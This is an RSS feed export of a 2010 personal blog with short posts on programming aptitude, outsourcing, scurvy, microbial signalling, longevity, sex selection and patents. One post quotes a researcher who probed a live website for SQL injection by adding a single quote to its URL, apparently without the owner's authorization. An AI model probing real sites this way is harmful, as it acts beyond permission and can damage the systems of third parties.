		<pubDate>Wed, 10 Mar 2010 03:40:16 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1528</guid>
		<description><![CDATA[I am intrigued by the idea that some people are simply unable to learn to program:
It has taken us some time to dare to believe in our own results. It now seems to us, although we are aware that at this point we do not have sufficient data, and so it must remain a speculation, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.codinghorror.com/blog/2006/07/separating-programming-sheep-from-non-programming-goats.html">I am intrigued by the idea that some people are simply unable to learn to program:</a></p>
<blockquote><p>It has taken us some time to dare to believe in our own results. It now seems to us, although we are aware that at this point we do not have sufficient data, and so it must remain a speculation, that what distinguishes the three groups in the first test is their different attitudes to meaninglessness.</p>
<p>Formal logical proofs, and therefore programs – formal logical proofs that particular computations are possible, expressed in a formal system called a programming language – are utterly meaningless. To write a computer program you have to come to terms with this, to accept that whatever you might want the program to mean, the machine will blindly follow its meaningless rules and come to some meaningless conclusion. In the test the consistent group showed a pre-acceptance of this fact: they are capable of seeing mathematical calculation problems in terms of rules, and can follow those rules wheresoever they may lead. The inconsistent group, on the other hand, looks for meaning where it is not. The blank group knows that it is looking at meaninglessness, and refuses to deal with it.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/09/who-can-learn-to-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Outsourcing and the language barrier</title>
		<link>http://www.teamlalala.com/blog/2010/03/09/outsourcing-and-the-language-barrier/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/09/outsourcing-and-the-language-barrier/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 17:26:06 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[out-sourcing]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1519</guid>
		<description><![CDATA[On LinkedIn, someone posted a job alert, saying they needed a PHP-GTK programmer. Below is one of the responses. I have managed teams in India, and I found it somewhat exhausting, partly because of the language barrier:
Hello:
Greetings!
How are you doing, I am contacting you with respect to the job you posted. I would like to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.linkedin.com/groupAnswers?viewQuestionAndAnswers&#038;discussionID=15020352&#038;gid=40870&#038;commentID=12884939&#038;trk=view_disc">On LinkedIn</a>, someone posted a job alert, saying they needed a PHP-GTK programmer. Below is one of the responses. I have managed teams in India, and I found it somewhat exhausting, partly because of the language barrier:</p>
<blockquote><p>Hello:<br />
Greetings!<br />
How are you doing, I am contacting you with respect to the job you posted. I would like to get a chance to work together and to have an employee leasing contract in between our companies as I am so sure, its my privilege to gift you this message. </p>
<p>We facilitate remote employee leasing. We are so sure that this fruitful service is quiet good for you. You may not yet thinks about remote employees, there is no difference in between remote employee and in-house one except they works remotely. For remote employment, we start from $1400/- as a monthly salary for an individual expert. </p>
<p>I am expecting your reply in order to give you more and more samples of works we did for global standard clients. We are ready to give you many references from almost all the hot spots of the globe. Currently we have great clients from UK, USA, UAE, Astralia, etc. </p>
<p>Our site address is www.rispostaindia.com and you will be able to find our primary client list and our portfolio from http://www.rispostaindia.com/portfolio.php and http://www.rispostaindia.com/logos.php . </p>
<p>Please reply as we are waiting for a long term and reliable relation with you. </p>
<p>Wishing you a very great day! </p>
<p>&#8211;<br />
Thanks and regards<br />
Business Head<br />
Risposta IT Services<br />
www.rispostaindia.com </p>
<p>#19, ITES Habitate Centre,Kaloor &#8211; 17, Kochi, Kerala.India
</p></blockquote>
<p>I have never worked with Rispostaindia.com, so for all I know, they are fantastic. My own experiences with out -sourcing have left me ambivalent. When you need to communicate complex concepts, such as what a piece of software is suppose to do, minor misunderstandings build up into major headaches. Also, the firm we worked with seemed staffed mostly by very junior programmers &#8211; 21 and 22 year olds who had just finished some sort of training at a local technical institute. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/09/outsourcing-and-the-language-barrier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scurvy: medical break-throughs that are later forgotten</title>
		<link>http://www.teamlalala.com/blog/2010/03/08/scurvy-medical-breath-throughs-that-are-later-forgotten/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/08/scurvy-medical-breath-throughs-that-are-later-forgotten/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 03:39:08 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1514</guid>
		<description><![CDATA[This kind of thing really scares me: 
They had a theory of the disease that made sense, fit the evidence, but was utterly wrong. 
I am interested in cases where technology goes backwards and important scientific break throughs are forgotten, so this story about scurvy got my attention: 
Now, I had been taught in school [...]]]></description>
			<content:encoded><![CDATA[<p>This kind of thing really scares me: </p>
<blockquote><p>They had a theory of the disease that made sense, fit the evidence, but was utterly wrong. </p></blockquote>
<p>I am interested in cases where technology goes backwards and important scientific break throughs are forgotten,<a href="http://idlewords.com/2010/03/scott_and_scurvy.htm"> so this story about scurvy got my attention</a>: </p>
<blockquote><p>Now, I had been taught in school that scurvy had been conquered in 1747, when the Scottish physician James Lind proved in one of the first controlled medical experiments that citrus fruits were an effective cure for the disease. From that point on, we were told, the Royal Navy had required a daily dose of lime juice to be mixed in with sailors’ grog, and scurvy ceased to be a problem on long ocean voyages.</p>
<p>But here was a Royal Navy surgeon in 1911 apparently ignorant of what caused the disease, or how to cure it. Somehow a highly-trained group of scientists at the start of the 20th century knew less about scurvy than the average sea captain in Napoleonic times. Scott left a base abundantly stocked with fresh meat, fruits, apples, and lime juice, and headed out on the ice for five months with no protection against scurvy, all the while confident he was not at risk. What happened? &#8230;</p>
<p>This pattern of fresh meat preventing scurvy would be a consistent one in Arctic exploration. It defied the common understanding of scurvy as a deficiency in vegetable matter. Somehow men could live for years on a meat-only diet and remain healthy, provided that the meat was fresh.</p>
<p>This is a good example of how the very ubiquity of vitamin C made it hard to identify. Though scurvy was always associated with a lack of greens, fresh meat contains adequate amounts of vitamin C, with particularly high concentrations in the organ meats that explorers considered a delicacy. Eat a bear liver every few weeks and scurvy will be the least of your problems.</p>
<p>But unless you already understand and believe in the vitamin model of nutrition, the notion of a trace substance that exists both in fresh limes and bear kidneys, but is absent from a cask of lime juice because you happened to prepare it in a copper vessel, begins to sound pretty contrived.</p>
<p>Doctors of the era looked at this puzzling evidence and wondered. Other diseases had recently been shown to have their source in bacterial infection. The bacterial model was new, and had already had spectacular success in identifying and treating diseases like typhus, tuberculosis, and cholera. What if the cause of scruvy had also been misunderstood? What if instead of a deficiency disease, scurvy was actually a kind of chronic food poisoning from bacterial contamination of meat? Thus was born the ptomaine theory of scurvy, and Koettlitz became its enthusiastic backer</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/08/scurvy-medical-breath-throughs-that-are-later-forgotten/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cramster.com for homework help</title>
		<link>http://www.teamlalala.com/blog/2010/03/08/cramster-com-for-homework-help/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/08/cramster-com-for-homework-help/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 02:21:49 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[business]]></category>
		<category><![CDATA[business plans]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1512</guid>
		<description><![CDATA[Cramster looks like an impressive resource for students looking for help. I am especially impressed with the number of textbooks that they are able to help with, for every subject, such math. Things like this make me think I should stay out of the education market, though it is a field I&#8217;ve thought of getting [...]]]></description>
			<content:encoded><![CDATA[<p>Cramster looks like an impressive resource for students looking for help. I am especially impressed with <a href="http://www.cramster.com/math-solutions/">the number of textbooks that they are able to help with, for every subject, such math</a>. Things like this make me think I should stay out of the education market, though it is a field I&#8217;ve thought of getting into. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/08/cramster-com-for-homework-help/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Caterina Fake on the New York startup scene</title>
		<link>http://www.teamlalala.com/blog/2010/03/07/caterina-fake-on-the-new-york-startup-scene/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/07/caterina-fake-on-the-new-york-startup-scene/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 01:16:58 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[entrepreneurs]]></category>
		<category><![CDATA[new york city]]></category>
		<category><![CDATA[startups]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1510</guid>
		<description><![CDATA[Caterina Fake on the New York startup scene
Matt Mireles advances the classic arguments for why NYC is not a good place for a startup in his piece for Business Insider &#8212; raising money is hard, and talent is scarce &#8212; but I&#8217;d like to make a couple of points to the contrary
Read the whole thing.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.caterina.net/archive/001227.html">Caterina Fake on the New York startup scene</a></p>
<blockquote><p>Matt Mireles advances the classic arguments for why NYC is not a good place for a startup in his piece for Business Insider &#8212; raising money is hard, and talent is scarce &#8212; but I&#8217;d like to make a couple of points to the contrary</p></blockquote>
<p>Read the whole thing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/07/caterina-fake-on-the-new-york-startup-scene/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Things evolve</title>
		<link>http://www.teamlalala.com/blog/2010/03/07/things-evolve/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/07/things-evolve/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 00:49:43 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1508</guid>
		<description><![CDATA[It is interesting that 2 people can look at the same thing and see such different things: 
I don’t think it’s an accident that 7NC Luxury Cruises appeal mostly to older people. I don’t mean decrepitly old, but like fiftyish people for whom their own mortality is something more than an abstraction. Most of the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://jsomers.net/blog/things-fall-apart">It is interesting that 2 people can look at the same thing and see such different things: </a></p>
<blockquote><p>I don’t think it’s an accident that 7NC Luxury Cruises appeal mostly to older people. I don’t mean decrepitly old, but like fiftyish people for whom their own mortality is something more than an abstraction. Most of the exposed bodies to be seen all over the daytime Nadir were in various stages of disintegration. And the ocean itself turns out to be one enormous engine of decay. Seawater corrodes vessels with amazing speed—rusts them, exfoliates paint, strips varnish, dulls shine, coats ships’ hulls with barnacles and kelp and a vague and ubiquitous nautical snot that seems like death incarnate. We saw some real horrors in port, local boats that looked as if they had been dipped in a mixture of acid and shit, scabbed with rust and goo, ravaged by what they float in&#8230;.</p>
<p>Here’s the thing: A vacation is a respite from unpleasantness, and since consciousness of death and decay are unpleasant, it may seem weird that the ultimate American fantasy vacation involves being plunked down in an enormous primordial stew of death and decay.</p></blockquote>
<p>Or maybe the sea is abundant with life? Maybe some organisms die but are then eaten by other organisms which then grow? Things change, I won&#8217;t argue that, but if an 60 kilogram woman dies and becomes 60 kilograms of bacteria, then the world still has the same amount of life, merely in a different form. It works the other way too, of course, things die, get absorbed into the soil, get absorbed into some stalks of wheat, get turned into some bread that I eat, get absorbed into who I am, and thus allow me to type these words. The blog entry I linked to was called &#8220;Things fall apart&#8221;. But it seems describe as much life as death. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/07/things-evolve/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Living organisms talk to each other using chemical signals</title>
		<link>http://www.teamlalala.com/blog/2010/03/07/living-organisms-talk-to-each-other-using-chemical-signals/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/07/living-organisms-talk-to-each-other-using-chemical-signals/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 20:27:21 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1506</guid>
		<description><![CDATA[In 1994 I was living in Chapel Hill, North Carolina, and a friend of mine, a biologist, told me that it had been discovered that some viruses had receptors that allowed them to listen to the hormones that humans emit when under stress. That was my introduction to the idea that organisms listen to each [...]]]></description>
			<content:encoded><![CDATA[<p>In 1994 I was living in Chapel Hill, North Carolina, and a friend of mine, a biologist, told me that it had been discovered that some viruses had receptors that allowed them to listen to the hormones that humans emit when under stress. That was my introduction to the idea that organisms listen to each other. <a href="http://www.newscientist.com/article/mg20527501.300-bugging-bugs-learning-to-speak-microbe.html?page=1">Researchers have since discovered a great deal more</a>:</p>
<blockquote><p>But it&#8217;s Bjarnsholt&#8217;s latest discovery that reveals microbes&#8217; gift for language: the bacteria aren&#8217;t just talking amongst themselves, but also quietly listening in on signals sent by their human host. So when a cavalry of white blood cells arrives to repel the invading bacteria, the entrenched biofilm senses their presence, and launches a coordinated counterattack (Microbiology, vol 155, p 3500). The microbes release deadly compounds called rhamnolipids, which burst the white blood cells, killing them before they can even take aim, says Bjarnsholt, who is at the University of Copenhagen in Denmark.</p></blockquote>
<p>This of course suggests new kinds of treatments:</p>
<blockquote><p>Then there&#8217;s our own immune system&#8217;s battle to prevent P. aeruginosa making itself at home in our lungs. Bjarnsholt is hunting for the signal P. aeruginosa uses to &#8220;listen out&#8221; for white blood cells, and ways to block it. He doesn&#8217;t think of the bacteria as being physically aware of their hosts. To them, the signals they detect are just foreign compounds they have to fend off. But it&#8217;s certainly a far more sophisticated take on the host-pathogen relationship than we&#8217;re used to, notes Atkinson. &#8220;Rather than the pathogen just piling into the host cell and taking over its DNA, it&#8217;s about signal production, interception &#8211; and maybe even coercion of the host to do something that it wouldn&#8217;t normally do.&#8221;</p></blockquote>
<p>Of course, some bacteria is friendly to humans:</p>
<blockquote><p>Many of the early examples of cross-kingdom communication that Atkinson and Williams catalogued are less than congenial, but there is also good evidence for cooperative interaction between bacteria and their hosts, says Atkinson &#8211; particularly between ourselves and our microbiome, the huge population of bacteria that live in us and on us.</p>
<p>These days we&#8217;re all well acquainted with the millions of microbes lining our insides. Yogurt adverts have taught us nothing if not to love the friendly bacteria which line our guts, helping to keep nastier bugs at bay. Microbes don&#8217;t just make themselves at home in the intestines, however. They&#8217;re in your mouth, up your nose, and covering your skin, all the while releasing a cacophony of quorum-sensing signals.</p>
<p>Atkinson thinks our own cells exploit this same signalling system to monitor and cajole our personal population of microbes, just as they eavesdrop on and manipulate us. In other words, we don&#8217;t passively host this bacterial colony, but actively engage it in conversation. We&#8217;ve evolved together, he says. &#8220;We have to consider that we&#8217;re intrinsically linked.&#8221;</p></blockquote>
<p>Since there are thousands, maybe tens of thousands, of words (chemicals) in use among these organisms, it is going to take a lot of work to learn this new vocabulary:</p>
<blockquote><p>The team is using an imaging system based on mass spectrometry to detect swathes of signals at the same time. They grow their bacteria on a stainless steel plate, and use a laser to vaporise their signalling molecules, feeding these into a mass spectrometer to catalogue the molecules present.</p>
<p>As proof of principle, Dorrestein and Straight have mapped the interactions between two species of soil-dwelling bacteria (Nature Chemical Biology, vol 5, p 885). Even in this simple case, the instrument detected as many as 100 different signalling molecules fired off by the two bacteria, only 10 of which the team managed to match to known molecules. Despite the huge scale of the problem, the team is already starting to translate their work into inter-kingdom studies, probing the interactions between bacteria and cells of the human immune system. By imaging cross-talk between different species, they even hope to identify inhibitors for Staphylococcus aureus, the hospital superbug that has evolved to defend itself against whole groups of our most effective antibiotics.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/07/living-organisms-talk-to-each-other-using-chemical-signals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When will we be immortal?</title>
		<link>http://www.teamlalala.com/blog/2010/03/07/when-will-be-immortal/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/07/when-will-be-immortal/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 19:01:12 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[biology]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1500</guid>
		<description><![CDATA[I&#8217;d guess that before the year 2100 humans will figure out ways of living for very long periods. By then, it seems likely we will unravel the puzzle of the tortoise and figure out what metabolic strategies are in use in long-lived species, and which of these might also be usable in humans. I was [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;d guess that before the year 2100 humans will figure out ways of living for very long periods. By then, it seems likely we will unravel <a href="http://www.goodreads.com/story/show/21209-what-tortoises-can-tell-us-about-our-longevity">the puzzle of the tortoise</a> and figure out what metabolic strategies are in use in long-lived species, and which of these might also be usable in humans. I was interested to read that <a href="http://ouroboros.wordpress.com/2010/02/02/rapamycin-reviewed/">last year a drug was found that does seem to extend life-span in some mammals</a>: </p>
<blockquote><p>One of 2009’s most significant breakthroughs in biogerontology (or in any field; q.v. Science, WIRED) last year was the announcement that the macrolide drug rapamycin can extend longevity in mice.</p>
<p>More specifically, rapamycin can accomplish this when administered to adult, wildtype mice. In other words, no genetic modification or early-life intervention is necessary, making rapamycin one of the first compounds that meets the criteria for an anti-aging drug that could be used for people who are already alive and well down the road toward aging themselves.</p>
<p>The lifespan extension achieved is modest (~10%), but this is more impressive in light of the fact that the mice were quite old at the time treatment began, and the study used only a single dose rate. Future studies will undoubtedly seek to optimize the dose and regimen with the goal of achieving greater enhancement of lifespan.</p></blockquote>
<p>One thing I note about long-lived species is that they keep growing. The rule seems universal &#8211; trees, tortoises, some types of fish &#8211; every species that has an exceptionally long life span also keeps growing in size. There is no fixed, final form that one can associate with adulthood. For humans, of course, our size is fairly fixed &#8211; nearly all adults are between 5 feet and 6 feet, 6 inches. Perhaps if we just kept growing, we&#8217;d live to be 200. But then, I suspect, we&#8217;d end up with some terrible spinal pain and injuries. Humans are not designed to be 10 feet tall. Maybe long-life is reserved for those species who have a structure that can comfortably keep growing. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/07/when-will-be-immortal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The worldwide preference for boys</title>
		<link>http://www.teamlalala.com/blog/2010/03/07/the-worldwide-preference-for-boys/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/07/the-worldwide-preference-for-boys/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 18:42:11 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[gender]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1498</guid>
		<description><![CDATA[There is a story in the Economist about the practice of sex-selection by parents having children. I find it interesting that India and China have felt the need to ban the practice, but Sweden has legalized it:
The use of sex-selective abortion was banned in India in 1994 and in China in 1995. It is illegal [...]]]></description>
			<content:encoded><![CDATA[<p>There is a story in the Economist about the practice of sex-selection by parents having children. I find it interesting that <a href="http://www.economist.com/world/international/displaystory.cfm?story_id=15636231">India and China have felt the need to ban the practice</a>, but Sweden has legalized it:</p>
<blockquote><p>The use of sex-selective abortion was banned in India in 1994 and in China in 1995. It is illegal in most countries (though Sweden legalised the practice in 2009). But since it is almost impossible to prove that an abortion has been carried out for reasons of sex selection, the practice remains widespread. An ultrasound scan costs about $12, which is within the scope of many—perhaps most—Chinese and Indian families. In one hospital in Punjab, in northern India, the only girls born after a round of ultrasound scans had been mistakenly identified as boys, or else had a male twin.</p></blockquote>
<p>The preference for boys is universal. Even in the United States, <a href="http://www.amazon.com/More-Sex-Safer-Unconventional-Economics/dp/B0033AGTA4/ref=ntt_at_ep_dpi_3">there remains a preference for boys</a> &#8211; a couple that has 2 daughters is 15% more likely to get a divorce than a couple that has 2 sons. I would guess that some sub-cultures in America skew the results by having a preference that is stronger than that 15% indicates. </p>
<p>However, I think the practice should be legal everywhere. Why not allow parents take this to whatever extreme they want? If a society ends up with 3 boys for every girl, then perhaps the parents will begin to re-think their attitudes? Apparently some areas are close to having 3 boys for every girl:</p>
<blockquote><p>If you take just second children, however, which are permitted in the province, the ratio leaps to 146 boys for every 100 girls. And for the relatively few of births where parents are permitted a third child, the sex ratio is 167. Even this startling ratio is not the outer limit. In Anhui province, among third children, there are 227 boys for every 100 girls, while in Beijing municipality (which also permits exceptions in rural areas), the sex ratio reaches a hard-to-credit 275. There are almost three baby boys for each baby girl.</p></blockquote>
<p>Perhaps the value of women will rise, when they are scarce enough? Apparently this is already happening, in small ways: </p>
<blockquote><p>Violence is not the only consequence. In parts of India, the cost of dowries is said to have fallen (see article). Where people pay a bride price (ie, the groom’s family gives money to the bride’s), that price has risen.</p></blockquote>
<p>The thing is, this is clearly a trend that can not continue forever. At some point there will be so many boys and so few girls that a re-thinking of the value of the various genders becomes somewhat inevitable. This apparently happened in South Korea:</p>
<blockquote><p>Yet the story of the destruction of baby girls does not end in deepest gloom. At least one country—South Korea—has reversed its cultural preference for sons and cut the distorted sex ratio (see chart 3). </p></blockquote>
<p>I would guess that the men of this generation will grow up opposed to this practice. These are the men who will lose out the most &#8211; pure math indicates that a huge number of them will never be able to marry. By the time these men are 25, they will likely be committed to ending the practice. They will know how much harm it can do. As China&#8217;s one-child policy makes clear, the government can create distorted incentives when it intervenes in a couple&#8217;s decisions about what children to have. I think Sweden got this one right &#8211; the government should never be in the business of telling a couple what kind of children they can or can not have. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/07/the-worldwide-preference-for-boys/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Patents delayed the Industrial Revolution</title>
		<link>http://www.teamlalala.com/blog/2010/03/07/patents-delayed-the-industrial-revolution/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/07/patents-delayed-the-industrial-revolution/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 17:39:05 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[copyright]]></category>
		<category><![CDATA[economics]]></category>
		<category><![CDATA[entrepreneurs]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1496</guid>
		<description><![CDATA[Yesterday I wrote that patents are often bad for the economy.
Today, I see this article about how patents delayed the Industrial Revolution: 
In late 1764, while repairing a small Newcomen steam engine, the idea of allowing steam to expand and condense in separate containers sprang into the mind of James Watt. He spent the next [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.teamlalala.com/blog/2010/03/06/marco-arment-software-patents-are-bad-for-the-economy/">Yesterday I wrote that patents are often bad for the economy.</a></p>
<p>Today, I see this article about how <a href="http://mises.org/story/3280">patents delayed the Industrial Revolution</a>: </p>
<blockquote><p>In late 1764, while repairing a small Newcomen steam engine, the idea of allowing steam to expand and condense in separate containers sprang into the mind of James Watt. He spent the next few months in unceasing labor building a model of the new engine. In 1768, after a series of improvements and substantial borrowing, he applied for a patent on the idea, requiring him to travel to London in August. He spent the next six months working hard to obtain his patent. It was finally awarded in January of the following year. Nothing much happened by way of production until 1775. Then, with a major effort supported by his business partner, the rich industrialist Matthew Boulton, Watt secured an act of Parliament extending his patent until the year 1800. The great statesman Edmund Burke spoke eloquently in Parliament in the name of economic freedom and against the creation of unnecessary monopoly — but to no avail.[1] The connections of Watt&#8217;s partner Boulton were too solid to be defeated by simple principle.</p>
<p>Once Watt&#8217;s patents were secured and production started, a substantial portion of his energy was devoted to fending off rival inventors. In 1782, Watt secured an additional patent, made &#8220;necessary in consequence of &#8230; having been so unfairly anticipated, by [Matthew] Wasborough in the crank motion&#8221; [2]. More dramatically, in the 1790s, when the superior Hornblower engine was put into production, Boulton and Watt went after him with the full force of the legal system.[3]</p>
<p>During the period of Watt&#8217;s patents the United Kingdom added about 750 horsepower of steam engines per year. In the thirty years following Watt&#8217;s patents, additional horsepower was added at a rate of more than 4,000 per year. Moreover, the fuel efficiency of steam engines changed little during the period of Watt&#8217;s patent; while between 1810 and 1835 it is estimated to have increased by a factor of five.[4]&#8230;</p>
<p>In most histories, James Watt is a heroic inventor, responsible for the beginning of the Industrial Revolution. The facts suggest an alternative interpretation. Watt is one of many clever inventors working to improve steam power in the second half of the eighteenth century. After getting one step ahead of the pack, he remained ahead not by superior innovation, but by superior exploitation of the legal system. The fact that his business partner was a wealthy man with strong connections in Parliament, was not a minor help.</p>
<p>Was Watt&#8217;s patent a crucial incentive needed to trigger his inventive genius, as the traditional history suggests? Or did his use of the legal system to inhibit competition set back the industrial revolution by a decade or two? More broadly, are the two essential components of our current system of intellectual property — patents and copyrights — with all of their many faults, a necessary evil we must put up with to enjoy the fruits of invention and creativity? Or are they just unnecessary evils, the relics of an earlier time when governments routinely granted monopolies to favored courtiers? That is the question we seek to answer.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/07/patents-delayed-the-industrial-revolution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection attacks are more common than developers realize</title>
		<link>http://www.teamlalala.com/blog/2010/03/06/sql-injection-attacks-are-more-common-than-developers-realize/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/06/sql-injection-attacks-are-more-common-than-developers-realize/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 04:36:26 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1494</guid>
		<description><![CDATA[RafalLos writes: 
Now &#8211; without doing any actual hacking, I immediately noticed that something was wrong.  While it&#8217;s hard to read the SQL error &#8211; it reads &#8220;ADODB.Field error &#8216;80020009&#8242; Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.  /menu.asp line 0&#8243;  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.communities.hp.com/securitysoftware/blogs/rafal/archive/2010/02/25/a-big-case-of-oops.aspx">RafalLos writes: </a></p>
<blockquote><p>Now &#8211; without doing any actual hacking, I immediately noticed that something was wrong.  While it&#8217;s hard to read the SQL error &#8211; it reads &#8220;ADODB.Field error &#8216;80020009&#8242; Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.  /menu.asp line 0&#8243;  Without even pulling out the Google search I already knew what that meant &#8211; I wasn&#8217;t the first one there with malicious intent.</p>
<p>Immediately the folks at the back of the room took notice of the error, and started asking each other if anyone had heard that the site was having issues, or was down&#8230;</p>
<p>I decided to quit, in case this site was down intentionally, or something was actually broken&#8230; but the gentlemen in the front row pressed me to continue, to &#8220;see if there was actually a vulnerability&#8221;.  Quickly I took a simple glance at the URL line, and appended the tell-tale test for SQL Injection, the single tick &#8216; .</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.teamlalala.com/blog/2010/03/06/sql-injection-attacks-are-more-common-than-developers-realize/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Marco Arment: software patents are bad for the economy</title>
		<link>http://www.teamlalala.com/blog/2010/03/06/marco-arment-software-patents-are-bad-for-the-economy/</link>
		<comments>http://www.teamlalala.com/blog/2010/03/06/marco-arment-software-patents-are-bad-for-the-economy/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 01:02:14 +0000</pubDate>
		<dc:creator>lawrence</dc:creator>
				<category><![CDATA[business]]></category>
		<category><![CDATA[economics]]></category>

		<guid isPermaLink="false">http://www.teamlalala.com/blog/?p=1491</guid>
		<description><![CDATA[Marco Arment says software patents are bad for the economy:
I’ve considered the arguments by Stallman, John Gruber, and Tim Bray on software patents, and I side with Stallman in that software patents are inherently problematic and are a net loss for society.
The major difference in their arguments is that, while all three mention the realities [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.marco.org/430351101">Marco Arment says software patents are bad for the economy</a>:</p>
<blockquote><p>I’ve considered the arguments by Stallman, John Gruber, and Tim Bray on software patents, and I side with Stallman in that software patents are inherently problematic and are a net loss for society.</p>
<p>The major difference in their arguments is that, while all three mention the realities and dysfunctions of the patent system, Stallman focuses strongly on the difference between what it’s intended to do and what actually happens. He also illustrates the reality of trying to develop any nontrivial software in a patent-filled landscape.</p>
<p>Many argue that inventors should be protected and incentivized by patents, otherwise they would stop inventing. It’s a nice theory, but it doesn’t hold up for software.1</p>
<p>We can argue about what the system should do, or what it theoretically does, or what it ideally does, but that’s an academic exercise at best. To evaluate whether software patents are a net gain for society, we need to evaluate their reality, which differs quite a bit from most arguments for why patents are necessary.</p></blockquote>
<p>I&#8217;d go further. Most patents are bad most of the time. They are dangerous and need to be limited, no matter what industry we are talking about. </p>
<p>Patent is a government monopoly. In a liberal society, monopolies are usually seen as bad things. Monopolies, in general, can lead to non-optimal allocations of resources, and when the monopoly is defended by the government there is no way for any entreprenuer, no matter how talented, to offer a competitive alternative. Monopolies encourage rent-maximazation rather than innovation (in other words, the owner of the monopoly simply sucks up as much money as possible, and feels little need to innovate or reinvest their profits).</p>
<p>The Founding Fathers of America were on intimate terms with the harm that arose from government granted monopolies. At a stretch, we could  interpret the whole American Revolution as a patent dispute, for it was when the British government granted a monopoly on trade to British merchants that the Americans were first moved to revolt. One of the first and largest American protests was the Boston Tea Party of 1773, during which the British East India Company, a large multi-national corporation that, at that time, had dealings in almost every nation on Earth, had its Boston inventories of tea destroyed. (In this case, the East India Company had a monopoly on &#8220;tax free&#8221; trade, whereas all American merchants had to pay an import tax, and therefore were at a competitive disadvantage. For instance, <a href="http://en.wikipedia.org/wiki/Boston_Tea_Party">in 1768, John Hancock&#8217;s ship &#8216;Liberty&#8217; was seized by customs officials and he was charged with smuggling.</a>)</p>
